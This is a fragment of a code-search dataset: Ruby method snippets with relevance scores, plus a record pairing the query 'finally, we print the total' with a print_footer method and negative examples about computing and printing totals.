"def mark_failed_with_reason(failed_reason)\n Rails.logger.info(\"user_kyc_whitelist_log - #{self.id} - mark as failed.\")\n self.status = GlobalConstant::KycWhitelistLog.failed_status\n self.failed_reason = failed_reason\n self.save! if self.changed?\n end",
"def mark_old_broadcasts\n BroadcastMessage.all.each do |broadcast|\n broadcast.users_viewed << self.id\n broadcast.save\n end\n end",
"def blacklisted?(request)\n false\n end",
"def blacklist_update\n # delete the current records first\n Blacklist.delete_all\n # clear the cache\n Blacklist.clear_cache\n # grab the time\n the_time = Time.sl_local.strftime('%Y-%m-%d %H:%M:%S')\n \n # build a list of new items\n if params[:full_blacklist] != ''\n # split the list\n all_items = params[:full_blacklist].split(/\\n/)\n # let's keep track of what we have added to avoid dups\n items_added = Array.new\n # for building the SQL\n sql = ''\n for i in all_items\n # strip whitespace\n i.strip!\n # skip this if it's a blank line\n next if i == ''\n # check to make sure we haven't already added this\n if !items_added.index(i)\n sql = \"INSERT INTO blacklist (item, created_at) VALUES ('#{i.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")}', '#{the_time}')\"\n ActiveRecord::Base.connection.execute(sql)\n # store this in a cache\n Blacklist.add_to_cache(Blacklist.new(:item => i))\n end\n # keep track of what we've added\n items_added << i\n end\n # clear this memory\n items_added = nil\n end\n flash[:notice] = '<b>Success</b>: Blacklist updated.'\n redirect_to Site.full_url + '/admin/blacklist'\n end",
"def find_my_friends_blocked=(value)\n @find_my_friends_blocked = value\n end",
"def add_pending_role\n self.user.add_role :teacher\n self.user.role_pending = true\n self.user.save\n end",
"def referer_blacklist\n [new_user_session_path, destroy_user_session_path]\n end",
"def referer_blacklist\n [new_user_session_path, destroy_user_session_path]\n end",
"def don_bobfather\n #traversal = self.outgoing(:bobfather).depth(:all).unique(:node_path).eval_paths { |path| (path.end_node[:fbid] == user[:fbid]) ? :include_and_continue : :exclude_and_continue }\n traversal = self.outgoing(:bobfather).depth(:all).to_a.last #. #filter{|path| path.end_node.has_bobfather?}.\n # each{|node| puts node[:name]}\n end",
"def restore_banned!\n remove_role :banned\n shares.restore_hidden!\n contents.restore_hidden!\n Setting.remove_blacklist_ips([current_sign_in_ip, last_sign_in_ip])\n reset_cache('banned-user-ids')\n end",
"def invalidate_favorite_lists_of_private_lists\n if self.private?\n self.favorite_lists.each do |favorite|\n favorite.mark_as_inactive\n end\n\n else\n self.favorite_lists.each do |favorite|\n favorite.mark_as_active\n end\n\n end\n end",
"def whitelist; end",
"def unblocked\n where blocked: false\n end",
"def is_blockable_by(another_user)\n return false unless is_associated_to_somebody_else_than(another_user)\n\n existing_friendship = @swimmer.associated_user.find_any_friendship_with(another_user)\n !!(\n existing_friendship &&\n existing_friendship.can_block?(another_user)\n )\n end",
"def ignore_incoming_cascade_delete?(relationship) # :nodoc:\n # ignore relationship with property _cascade_delete_incoming\n relationship.property?(:_cascade_delete_incoming)\n end",
"def is_blacklisted?\n errors.add(:url, \"is blacklisted\") if BlacklistUrl.is_listed?(self.url)\n end",
"def reject\n self[:status] = \"Reject\"\n save\n end",
"def blacklist_keys\n @blacklist_keys ||= to_adapter.column_names.map(&:to_s) - accessible_attributes.to_a.map(&:to_s)\n end",
"def toggle_subscriber(user) \n if subscribers.include?(user)\n subscribers.delete(user) \n elsif not user.public? and user.permitted?(:tickets, :watch, :project => project)\n subscribers << user\n end\n subscribers.include?(user)\n end",
"def blacklist(*paths)\n paths.each do |path|\n if path.is_a? Array\n config.blacklist.concat path\n else\n config.blacklist << path\n end\n end \n end",
"def blocked_to?(_user)\n blocked_user_ids.include?(_user.is_a?(User) ? _user.try(:id) : _user.to_i)\n end",
"def set_blocked_user\n @blocked_user = BlockedUser.find(params[:id])\n end"
] |
[
"0.67440283",
"0.6603951",
"0.6373716",
"0.6198405",
"0.61903125",
"0.61262345",
"0.6088608",
"0.6078223",
"0.5835538",
"0.5824821",
"0.5782603",
"0.5773863",
"0.5770175",
"0.5687902",
"0.5681004",
"0.5675676",
"0.56295085",
"0.56037533",
"0.55676603",
"0.55391455",
"0.5500906",
"0.5500142",
"0.5490038",
"0.5490038",
"0.5469475",
"0.5428287",
"0.54210436",
"0.5412546",
"0.54089576",
"0.5406659",
"0.5394281",
"0.539281",
"0.5387809",
"0.5387295",
"0.53858846",
"0.5384909",
"0.5378819",
"0.53706086",
"0.53497356",
"0.5348774",
"0.5346793",
"0.5340194",
"0.5338839",
"0.5330847",
"0.53274703",
"0.5327012",
"0.53182775",
"0.5307974",
"0.5293388",
"0.527941",
"0.5277773",
"0.5274204",
"0.52733487",
"0.5261332",
"0.5260679",
"0.5253402",
"0.52457106",
"0.52399343",
"0.52368975",
"0.52361536",
"0.52356726",
"0.52325207",
"0.52256274",
"0.52250427",
"0.52233875",
"0.521256",
"0.5205026",
"0.5196095",
"0.5186126",
"0.51734114",
"0.5167267",
"0.5166136",
"0.51600343",
"0.51520663",
"0.51520663",
"0.51464576",
"0.51366",
"0.51344377",
"0.51320845",
"0.513131",
"0.5121617",
"0.5114044",
"0.5109985",
"0.5109538",
"0.51053673",
"0.51053673",
"0.50996125",
"0.5099405",
"0.5099072",
"0.50955826",
"0.50860465",
"0.5083191",
"0.50774956",
"0.5076706",
"0.50752145",
"0.5074324",
"0.50736195",
"0.5069279",
"0.506753",
"0.50454044"
] |
0.5876891
|
8
|
before_filter :is_modifiable?, :only => [:edit,:destroy]
|
def index
@categories = StudentAttachmentCategory.fetch_all # default.to_a + StudentAttachmentCategory.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prevent_edit\n !can_edit?\n end",
"def can_edit?(user)\n\n end",
"def can_edit\n return current_user && (current_user.id == Integer(params[:id]) || current_user.is_admin)\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def can_edit?(object)\n false\n end",
"def edit\n authorize @user_information\n end",
"def can_edit?\n allows_current_user_access_to? :edit\n end",
"def permitted?\n Article.can_edit?(@user)\n end",
"def has_edit_permission?\n persisted?\n end",
"def edit\n authorize! :update, @user\n end",
"def set_editability\n @editable = user_signed_in? && (current_user.member.role.name.eql? \"University Admin\") &&\n current_user.member.institution.id == @course.department.institution.id\n end",
"def permitted?(user)\n Article.can_edit?(user)\n end",
"def is_editable?\n is_public\n end",
"def can_edit?(user)\n user == current_user\n end",
"def editable?\n admin?\n end",
"def can_destroy?(someone)\n can_edit? someone\n end",
"def can_be_modified_by?( user )\n return false if ( user.restricted? )\n return true if ( user.admin? )\n return self.active\n end",
"def check_update_permission\n return if owner? || @article.is_public_editable\n redirect_to articles_url\n end",
"def before_filter\n if current_user\n true\n end\n end",
"def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end",
"def can_show?\n can_edit?\n end",
"def authorize\n return_unauthorized unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def edit\n authorize @car\n end",
"def user_permitted_to_edit(item)\n item.user == current_user \n end",
"def edit?\n update? # same as update - no access \n end",
"def may_edit_pages(user)\n true\n end",
"def edit\n authorize @volunteer_position\n end",
"def can_edit?\n object.editable_by?(current_user)\n end",
"def can_edit?(user)\n user == self.user\n end",
"def edit\n @car = Car.find(params[:id])\n\n if current_user.admin == true\n authorize @car\n end\n\n\n authorize @car\n end",
"def destroy_filter\n not actuale?\n end",
"def filter_self\n if @user && !current_user.can_edit?(@user)\n respond_to do |format|\n format.html {\n render :nothing => true, :status => 403\n }\n format.json {\n render :json => {:status => 'failure'}, :status => 403\n }\n end\n end\n end",
"def editing_destroying_filter\n unless editing_destroying_filter_condition\n flash[:notice] = \"You're not authorized to edit or delete!\"\n redirect_to events_path\n end\n end",
"def can_edit?(user)\n self == user\n end",
"def can_edit?(user)\n self == user\n end",
"def can_edit?(user)\n self == user\n end",
"def authorize?(person)\n person.is_admin?\n end",
"def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def can_edit?(user)\n (self.user == user) || !!(user && user.admin?)\n end",
"def only_authorize_admin!\n authorize!(is?(:admin))\n end",
"def authorize_edit\n authorize! :edit, @opportunity\n end",
"def can_edit?(user)\n Article.can_edit?(user)\n end",
"def edit_authorized(current_user)\n return self.user_id == current_user.id\n end",
"def edit_authorized(current_user)\n return self.user_id == current_user.id\n end",
"def can_edit?(user)\n user && self.creator_id == user.id\n end",
"def show\n is_admin?\n end",
"def reseller_allow_edit(permission)\n return reseller_right(permission) == 2\n end",
"def before_filter; end",
"def can_edit?\n !published_at\n end",
"def can_edit?(obj)\n return true if obj.user_id == user_id || is_admin?\n false\n end",
"def is_editable\n not is_default_cash_gift\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def show\n admin_only\n end",
"def can_edit?\n head(:forbidden) unless current_user.review_space_admin? || @space.editable_by?(current_user)\n end",
"def edit\n authorize! :edit, @user, :id => current_user.id\n end",
"def can_edit?(obj)\n can_do?(:edit, obj)\n end",
"def filter_object\n # redirect_to(root_url, :notice => \"Do not have permission\") and return\n end",
"def view_authorized(current_user)\n return self.public? || self.edit_authorized(current_user)\n end",
"def accountant_allow_edit(permission)\n return accountant_right(permission) == 2\n end",
"def authorized?\n if !@extra_page.editable_by? current_user, current_cookbook\n redirect_to sections_path, alert: \"You are not allowed to edit this extra page.\"\n end\n end",
"def edit\n require_user\n end",
"def edit?\n false\n end",
"def edit\n authorize @category\n end",
"def user_accessible?\n is_admin\n end",
"def company_edit_permitted?\n acting_user.administrator? || same_company\n end",
"def user_permissions\n if user_signed_in? && (current_user.is_logistics? || current_user.is_clerical? || current_user.is_vendor? || current_user.is_customer?)\n authorize! :edit, Element\n end\n end",
"def show\n isadmin\n end",
"def can_edit_admin?\n return false unless is_admin? && !is_last_admin?\n true\n end",
"def can_edit?(user)\n return user == self.user || user.has_role?(:admin)\n end",
"def can_edit_delete_update_problem\n\t\tunless current_user==Problem.find(params[:id]).creator || current_user.admin?\n\t\t\tflash[:danger] = \"You are not allowed to edit/delete this problem\"\n redirect_to root_path\n\t\tend\t\t\t\n\tend",
"def can_edit\n return @can_edit\n end",
"def can_edit?(user)\n course.can_edit? user\n end",
"def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end",
"def can_edit\n redirect_to @tree unless @tree.can_edit? current_user\n end",
"def restrict_developer\n if (controller_name == 'user_sessions' and action_name == 'destroy') or\n (controller_name == 'users' and (action_name == 'edit' || action_name == 'update'))\n return\n end\n if current_user and is_developer \n redirect_to :controller => 'efforts'\n end\n end",
"def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def any_action?\n admin?\n end",
"def user_can_edit?\n current_user == @list.user\n end",
"def only_admin\n if user_role == 'admin'\n else\n redirect_to clients_path, notice: \"У вас нет прав для просмотра даного раздела, или редактирования информации\"\n end\n end",
"def show\n authorize! :update, Hospital\n end",
"def update_permitted?\n\t\tacting_user.administrator?\n\tend",
"def protect?(action)\n true\n end",
"def protect?(action)\n true\n end",
"def protect?(action)\n true\n end",
"def protect?(action)\n true\n end",
"def authorized_to_edit?(recipe)\n current_user == recipe.user\n end",
"def edit\n @city = City.find(params[:id])\n authorize @city\n end",
"def authorize?(user)\n user && user.moderator?\n end",
"def can_edit_patient?\n has_role?(:enroller) || has_role?(:public_health) || has_role?(:public_health_enroller)\n end",
"def filterable?; @filterable; end",
"def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def canEdit?(user=current_user,owner=nil)\n return false if user.nil?\n return true if user.name == owner.name\n return true if self.isAdmin?(user)\n false\n end",
"def show\n return unless check_permission\n end",
"def action_allowed?\n case params[:action]\n when 'edit'\n @questionnaire = Questionnaire.find(params[:id])\n current_user_has_admin_privileges? ||\n (current_user_is_a?('Instructor') && current_user_id?(@questionnaire.try(:instructor_id))) ||\n (current_user_is_a?('Teaching Assistant') && session[:user].instructor_id == @questionnaire.try(:instructor_id))\n else\n current_user_has_student_privileges?\n end\n end",
"def admin_only\n false\n end",
"def can_edit?\n can_write? && (account_is_owner? || account_is_collaborator?)\n end",
"def edit\n enforce_update_permission(@user)\n end",
"def list_filter_authorized?\n authorized_for?(:action => :read)\n end",
"def authorized_to_edit_records\n scope.none\n end"
] |
[
"0.7316895",
"0.7308762",
"0.72315544",
"0.7215147",
"0.71679765",
"0.71378905",
"0.71192855",
"0.71031773",
"0.70906085",
"0.7087532",
"0.7084396",
"0.70609564",
"0.7043817",
"0.7038937",
"0.7000049",
"0.6969783",
"0.69611627",
"0.6961029",
"0.69584954",
"0.6953986",
"0.6952614",
"0.6911244",
"0.69099784",
"0.6902982",
"0.68907905",
"0.688929",
"0.688272",
"0.6869555",
"0.68567497",
"0.6827933",
"0.6826341",
"0.6823377",
"0.679695",
"0.67855376",
"0.67855376",
"0.67855376",
"0.6765266",
"0.67597014",
"0.675938",
"0.6756436",
"0.67507815",
"0.67491615",
"0.67244315",
"0.67244315",
"0.6723411",
"0.67233866",
"0.67148805",
"0.67107284",
"0.6704802",
"0.6679645",
"0.66779554",
"0.6677224",
"0.6677224",
"0.6677224",
"0.6651895",
"0.66314983",
"0.66154027",
"0.6613804",
"0.6604311",
"0.6604274",
"0.65909386",
"0.65886587",
"0.65864813",
"0.65859324",
"0.6568021",
"0.6565499",
"0.6546735",
"0.65428436",
"0.6538147",
"0.65357006",
"0.65350676",
"0.6532897",
"0.6525728",
"0.65231353",
"0.651831",
"0.6514119",
"0.65024674",
"0.6496694",
"0.6489225",
"0.6482456",
"0.6478962",
"0.64687955",
"0.64634496",
"0.64634496",
"0.64634496",
"0.64634496",
"0.6456176",
"0.64546573",
"0.6452963",
"0.6443691",
"0.6442939",
"0.6440496",
"0.64218134",
"0.64179164",
"0.6417618",
"0.64161164",
"0.6412833",
"0.64108795",
"0.64098626",
"0.6409513",
"0.64083034"
] |
0.0
|
-1
|
finally, we print the total
|
def print_footer(names)
puts "Overall, we have #{names.count} great students"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def total; end",
"def overall_total\n puts \"Portfolio Total: $#{sprintf('%.2f', @all_totals)}\"\n end",
"def total_text\n 'Total: %d' % total\n end",
"def compute_total_and_print()\n @total_price=0\n $final_price_list.each do |element| \n @total_price = @total_price + element\n end\n @total_sales_tax=0\n $sales_tax_list.each do |element|\n @total_sales_tax = @total_sales_tax + element\n end\n puts \"Sales Tax : #{@total_sales_tax.round(2)}\"\n puts \"Total : #{@total_price.round(2)}\"\nend",
"def total \n\t\t@Total_bill = @bill_amount + @tip_rate_calc\t\n\t \tputs \"The total bill is £#{@Total_bill}\"\n\tend",
"def get_total\n counts = convert_to_hash(@item_list)\n uniq_items = @item_list.uniq\n\n final = (@total - @sale.apply(uniq_items, counts)).round(2) # Used round for precision\n puts get_invoice + final.to_s\n final\n end",
"def pretotal\n total\n end",
"def get_Total()\n \t return @outputs[\"Total\"]\n \tend",
"def total\n @total\n end",
"def order_total(items)\r\n order_total = 0\r\n for item in items\r\n order_total += item.total_cost\r\n end\r\n puts \"Order Total: $#{'%.2f' % order_total}\"\r\n end",
"def total\n count\n end",
"def total\n total = 0\n self.menu_items.each do |item|\n total += item.price\n end\n \"$#{total}\"\n end",
"def total\n @total = 0\n @ordered_items.each do |item|\n @total += item[1]\n end\n return @total\n end",
"def total\n sum(:total)\n end",
"def total\n '%.2f' % calculate_total\n end",
"def total\n @total\n end",
"def de_total\n @printer << \"Dealer has #{session[:dealer].hand_total}\" if !session[:dealer].blackjack?\n @printer << \"Dealer busts!\" if session[:dealer].bust? \n if session[:dealer].blackjack?\n @printer << \"Dealer has BlackJack.\"\n session[:player].make_unlucky\n end\n nil\n end",
"def pl_total\n @printer << \"You have #{session[:player].hand_total}\" if !session[:player].blackjack?\n @printer << \"You bust.\" if session[:player].bust?\n if session[:player].blackjack?\n @printer << \"BlackJack!\" \n session[:player].make_lucky\n end\n nil\n end",
"def total\n @total ||= (\n tally = 0\n each do |b|\n tally += b.count\n end\n tally\n )\n end",
"def print_total_cost\n order_desc = []\n order_desc << \"----------------------------\"\n order_desc << \"Item Quantity Price\"\n order_desc << \"----------------------------\"\n \n total_price = 0\n saved_cost = 0\n purchased_items.each do |item, count|\n unit_price = PRICE_MAP[item][:unit_price].to_f\n\n if PRICE_MAP[item][:sale_price]\n qty = PRICE_MAP[item][:sale_price][:qty]\n unit_qty = qty.to_i.zero? ? 1 : qty\n if count < unit_qty\n unit_price *= count\n else\n sale_price = PRICE_MAP[item][:sale_price][:price].to_f\n offer_price = (unit_price * (count % unit_qty)) + (sale_price * (count / unit_qty))\n saved_cost += (unit_price * count) - offer_price\n unit_price = offer_price\n end\n else\n unit_price *= count\n end\n unit_price = ('%.2f' % unit_price).to_f\n order_desc << \"#{item} #{count} $#{unit_price}\"\n total_price += unit_price\n end\n order_desc << \"\"\n order_desc << \"Total price : $#{'%.2f' % total_price}\"\n order_desc << \"You saved $#{'%.2f' % saved_cost} today.\" unless saved_cost.zero?\n order_desc << \"\"\n order_desc.map {|d| puts d }\n end",
"def total\n currency(@total)\n puts @total\n end",
"def spending_table(hash, total)\n puts \"\".center(80, \"_\")\n hash.each{ |item, value| puts tabled_format(item, value) }\n puts \"\".center(80, \"_\")\n total = hash.values.inject(:+)\n puts tabled_format(\"Total\", total)\n end",
"def total\n return (@listOfItem.inject(0){|sum,e| sum += e.total}).round_to(2)\n end",
"def opc_total()\n opx_err(\"Command \\\"total\\\" ignored, Tabulator state: EMPTY\") if opx_empty_state?()\n tab = opx_instantiate_tabulator()\n state = opc_state(tab, true)\n if ([\"ACCUMULATING\", \"DONE\"].include?(state))\n if (state == \"DONE\")\n opx_print(\"Writing Tabulator Spreadsheet: \" +\n \"#{TABULATOR_SPREADSHEET_FILE}\\n\")\n lines = opx_file_write_spreadsheet(tab, true)\n #opx_print(\"\\nFinal Vote Count Data (CSV Spreadsheet Format):\\n\\n\")\n #opx_print(lines)\n else\n lines = opx_file_write_spreadsheet(tab, false)\n #opx_print(\"\\nPartial Vote Count Data (CSV Spreadsheet Format):\\n\\n\")\n #opx_print(lines)\n opx_print(\"\\n\")\n opx_err(\"Command \\\"total\\\" REJECTED, Counts MISSING (See Above)\")\n end\n end\n end",
"def total_output\n @outputs.inject(:+)\n end",
"def display_total\n puts \"Your points: #{self.points}\"\n end",
"def printTotal()\n\tdiscount = ($total * ($discountPercentage / 100.0)).round(2)\n\ttax = (TAX_PERCENTAGE * ($total - discount)).round(2)\n\tgrandTotal = ($labor + $total + tax - discount).round(2)\n\tbalance = (grandTotal - $giftCardAmount).abs().round(2)\n\t\n\tputs\t\"Receipt\\n\"\\\n\t\t\t\"Description\\tQuantity\\tAmount\\n\"\\\n\t\t\t\"----------\\t--------\\t------\\n\"\\\n\t\t\t\"Items\\t\\t#{$numCharges}\\t\\t$#{format(\"%.2f\" % $total)}\\n\"\\\n\t\t\t\"Discount\\t#{$discountPercentage}%\\t\\t-$#{format(\"%.2f\" % discount)}\\n\"\\\n\t\t\t\"Tax\\t\\t6.5%\\t\\t$#{format(\"%.2f\" % tax)}\\n\"\\\n\t\t\t\"Labor\\t\\t#{$labor == 0 ? 0 : 1}\\t\\t$#{format(\"%.2f\" % $labor)}\\n\"\\\n\t\t\t\"Grand Total:\\t\\t\\t$#{format(\"%.2f\" % grandTotal)}\\n\\n\"\\\n\t\t\t\"Gift Cards\\t#{$numGiftCards}\\t\\t-$#{format(\"%.2f\" % $giftCardAmount)}\\n\\n\\n\"\n\t\t\t\n\t\t\tprint ((grandTotal - $giftCardAmount) > 0)? \"Please Pay Amount:\" : \"Remaining balance:\"\t\t\t\n\t\t\tprint \"\\t\\t$#{format(\"%.2f\" % balance)}\\n\\n\"\nend",
"def puts_grandtotal(sumtotal)\n 2.times { puts }\n puts \"Grand total AUD#{sumtotal}\"\n 2.times { puts }\n end",
"def cost \n\n \ttotal=@costItems.reduce(0) do |sum,hm|\n \t\tsum+=hm \n end\n puts total\n end",
"def showTotal\n #checking\n #saving\n @total = @chk_balance + @sav_balance\n #print ' Bank Account Totals: $',total,\"\\n\"\n return self\n end",
"def display_card_total(total)\n puts \"Your cards add up to #{total}\"\nend",
"def display_card_total(player_hand, dealer_hand, dealer_turn)\n\tplayer_total = get_player_total(player_hand).to_s\n\tdealer_total = get_dealer_total(dealer_hand,dealer_turn).to_s\n\t\n\tputs\n\tputs \"Total\" + (\" \" * (8 - player_total.length)) + player_total + (\" \" * (17 - dealer_total.length)) + dealer_total\n\nend",
"def total\n calculate_total\n display_order\n end",
"def total_balance\n\t\tputs \"Total Balance: #{@@accounts.total}\"\n\tend",
"def summarize\n print \"# of asks: #{ask_count}\\n# of bids: #{bid_count}\\nAsk volume: #{ask_volume.to_s('F')}\\nBid volume: #{bid_volume.to_s('F')}\\n\"\n $stdout.flush\n end",
"def total\n @total ||= (\n tally = 0\n each do |w|\n tally += w.count\n end\n tally\n )\n end",
"def display_total (person)\n puts \"#{person.name}'s total is #{person.hand_value(person.hand)}.\" \n end",
"def item_total\n tot = 0\n self.line_items.each do |li|\n tot += li.total\n end\n self.item_total = tot\n end",
"def total\n @sum = @products.values.inject(0, :+)\n @total = @sum + (@sum * 0.075).round(2)\n return @total\n end",
"def report_total_hours(all_entries)\n printf \"TOTAL %.2f\\n\", total(all_entries.flatten)\nend",
"def print_course_class_total_item_counts\n puts \"=> Course Class Total Item Counts\"\n @course_classes.each do |course_class|\n puts \"% 20s % 4d\" % [ course_class, course_class.count ]\n end\n end",
"def total\n synchronize do\n (@bars - [@top_bar]).map(&:total).compact.reduce(&:+)\n end\n end",
"def total\n # TODO: implement total\n if products.length == 0\n return 0\n end\n ((@products.values.sum)*1.075).round(2)\n end",
"def total\n if @products == {}\n return 0 \n else\n m = 0\n @products.values.each do |v|\n m += v\n end\n\n sum = (m + (m * 0.075)).round(2)\n return sum\n end\n end",
"def total\n sum = 0\n\n @four_result.each do |result|\n sum += result\n end\n @six_result.each do |result|\n sum += result\n end\n @eight_result.each do |result|\n sum += result\n end\n @ten_result.each do |result|\n sum += result\n end\n @twelve_result.each do |result|\n sum += result\n end\n @twenty_result.each do |result|\n sum += result\n end\n @percentile_result.each do |result|\n sum += result\n end\n\n sum\n end",
"def display_card_total(card_total)\n puts \"Your cards add up to #{card_total}\"\n card_total\nend",
"def total\n total = 0\n @products.values.each do |price|\n total += price\n end\n total += (0.075 * total).round(2)\n end",
"def total\n cart_value = 0\n self.line_items.each do |line_item|\n cart_value += line_item.value\n end\n cart_value\n end",
"def total_per_system(&block)\n @systotals.sort.each do | name, linehash |\n output name, 0, linehash.values.sum, &block\n end\n end",
"def total\n add_products = 0\n @products.each_value do |cost|\n add_products += cost\n end\n total = (add_products + (add_products * 0.075)).round(2)\n return total\n end",
"def show_total_cash\n \"Total: #{total_cash}\"\n end",
"def total\n roll_all.reduce(&:+)\n end",
"def display_total_calories_per_workout\n puts \"This workout will burn an average of #{self.total_calories} calories.\"\n end",
"def print_summary\n puts \"\\n\\nScore : # Instances\\n\" << (\"=\" * 19)\n @summary_totals.each_with_index { |value, index| puts \" %5d:%8d\\n\" % [index, value] unless value.nil? }\n puts \"\\n** End of Report\"\n end",
"def calculate\n self.total\n end",
"def display\n port_total\n display_port\n overall_total\n end",
"def total\n total = with_product_discounts\n total = with_basket_discounts(total)\n return \"£#{total}\"\n end",
"def get_cout_total_passages\n\t sum = 0\n\t self.putoparcelles.each do |putoparcelle|\n \t\tsum += putoparcelle.pulve.get_cout_total_passage_col(self)\n end\n sum\n end",
"def display\n total_tax, total = 0.0, 0.0\n @item_hash.each do |key|\n item_tax, item_price = @tax_hash[key[0].to_s].to_f, @item_hash[key[0].to_s].to_f\n puts \"#{key[0].to_s}: %.2f\" % (item_tax + item_price).round(2)\n total_tax += item_tax\n total += (item_price + item_tax).round(2)\n end\n\n puts \"Sales Tax: %.2f\" % total_tax.round(2)\n puts \"Total: %.2f\" % total.round(2)\n end",
"def total\n total = 0\n line_items.each do |line_item|\n total += line_item.item.price * line_item.quantity\n end\n total\n end",
"def display_total(name, player_sum)\n puts \"#{name}'s total is #{player_sum}.\"\nend",
"def total\n calculate_hand_totals\n if @hand.empty?\n puts \"Your hand is empty.\"\n return\n end\n\n puts \"Your hand is #{@hand.to_s}\" \n\n if !in_good_standing?\n puts \"*** YOU LOSE! ***\"\n end\n\n puts \"You have #{@hand_totals.count} possible total(s) with #{@hand_totals.count - 1} Aces:\"\n @hand_totals.each do | total, ace_distrobution |\n if total > 21\n puts \"BUSTED!- #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n elsif total == 21 && @hand.count == 2\n puts \"BLACKJACK - #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n elsif total == 21\n puts \"WINNING HAND - #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n else\n puts \"#{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n end\n end\n end",
"def precio_total_compras\n compras.sum(:precio_total)\n #p = 0\n #compras.each do |compra|\n #p += (compra.precio_total || 0)\n #end\n #return p\n end",
"def total(total)\n merge(total: total)\n end",
"def total(total)\n merge(total: total)\n end",
"def disp\n\t\t@hand_contents.each do |card|\n\t\t\tputs card.disp\n\t\tend\n\n\t\tputs \"Total: #{self.sum}\"\n\tend",
"def final_summary\n puts\n puts <<-eos\n --------------------------------------------------------------------------\n Complete Summary:\n Execution time: #{as_time_elapsed(Time.now - @start)}\n\n Up To Date: #{@uptodate}\n\n Failures: #{@failed}\n\n Added: #{@added}\n Updated: #{@updated}\n Bytes copied: #{as_byte_size(@copied_bytes)}\n\n Removed: #{@removed}\n Bytes freed: #{as_byte_size(@freed_bytes)}\n --------------------------------------------------------------------------\n eos\n puts\n STDOUT.flush\n end",
"def ppptotal\n pppquantity + pppquality + pppontime + pppeffective + \n pppknowledge + ppprules + pppcommunication +\n pppleader + pppmanage + pppdiscipline + pppproactive + ppprelate + \n pppparttwo\n end",
"def ppptotal\n pppquantity + pppquality + pppontime + pppeffective + \n pppknowledge + ppprules + pppcommunication +\n pppleader + pppmanage + pppdiscipline + pppproactive + ppprelate + \n pppparttwo\n end",
"def total\n total = 0\n if self.showlines \n self.showlines.each do |showline|\n total += showline.tvshow.price\n end \n end \n return total\n end",
"def draw_total_items\n header_r.draw_total_items count: items.size, size: items.inject(0) {|sum, i| sum += i.size}\n end",
"def item_total\n line_items.map(&:total).reduce(:+)\n end",
"def total\n array = @products.values\n if array != []\n tally = array.reduce(:+)\n tally += (0.075 * tally)\n return tally.round(2)\n else\n return 0\n end\n end",
"def calcular_total hash\n p hash.inject(0) { |sum, tuple| sum += tuple[1] }\n end",
"def checkout \n number_items = 0\n total = 0\n puts \"ITEMS PRECIO\"\n puts \"\"\n\n get_list.each {\n \t|a| total += a.price \t\n number_items += 1\n puts \"#{a.name} $#{a.price}\"\n\n }\n\n if number_items > 5\n \ttotal_sin_redondeo = 0.9 * total\n \ttotal = total_sin_redondeo.redondear(2)\n end\n\n puts \"You are taking #{number_items} items\"\n puts \"Your total today is $#{total}. Have a nice day!\"\n\n end",
"def total\n total = 0.00\n #accesses the subtotal of each of the order items\n order_items.each do |item|\n total += item.subtotal\n end\n return total.round(2)\n end",
"def total\n Rubinius.invoke_primitive :object_get_ivar, @object, :@total\n end",
"def total\n \tsubtotal\n end",
"def total\n @data['total']\n end",
"def total\n # extracts all of the values from the hash and sums them up\n cost = @products.values.sum\n # add 7.5% tax and round to two decimal places\n return (cost * 1.075).round(2)\n end",
"def total\n @obj['total'].to_i\n end",
"def total\n # Don't include 'All' when adding up total or we will get double\n @total ||= (('A'..'Z').to_a + ['Blank']).inject(0) do |total, letter|\n total + count(letter)\n end\n end",
"def total\n # Calculo el total sin descuentos\n self.total_prize = @products.map {|p| p.prize }.inject :+\n\n # Aplico todos los descuentos dinamicamente\n @discounts.each do |discount|\n discount.call self\n end\n\n self.total_prize # Retorno el precio final\n end",
"def total\n sub_total\n end",
"def wrt_total_purchs(count, options = {})\n format = options[:format] || 6\n $report_file.puts(\"Total Purchases:\" + \"%#{format}s\" % count.to_s)\nend",
"def show_total_unattendance_number\n puts 'show_total_unattendance_number'\n total_unattendance_number = @data.inject (0) do |mem, e|\n num_exams = e.size - 1.0\n mem + e.last(num_exams).count('00')\n end\n puts total_unattendance_number.to_s\n end",
"def update_total\n self.total = self.line_items.reload.map(&:total).inject(:+).to_f\n end",
"def _total # :nodoc:\n total = 0\n @tags.each do |name, hash|\n total += hash['total']\n end\n total\n end",
"def total\n return 0 if @products.empty?\n total = (@products.sum { |name, price| price } * 1.075).round(2)\n return total\n end",
"def total_per_component(&block)\n @scms.sort.each do | name, linehash |\n output name, 0, linehash.values.sum, &block\n end\n end",
"def calc_cart_total\n @cart_total = 0\n #This will determine the cart total\n @user_cart.each do |product|\n @cart_total = @cart_total + product[:price]\n end\n puts \"Your cart will cost you $#{@cart_total.round(2)} currently.\"\nend",
"def print_total_score\n calculate_score\n end",
"def print_action_sum\n string = 'Liked: ' + @total_likes.to_s.colorize(:red) +\n ' Followed: ' + @total_follows.to_s.colorize(:red) +\n ' Unfollowed: ' + @total_unfollows.to_s.colorize(:red)\n print_time_stamp\n puts string\n end",
"def total\n\t\tprices = line_items.map {|li| li.price}\n\t\tprices.reduce(0) {|it0, it1| it0+it1}\n\tend",
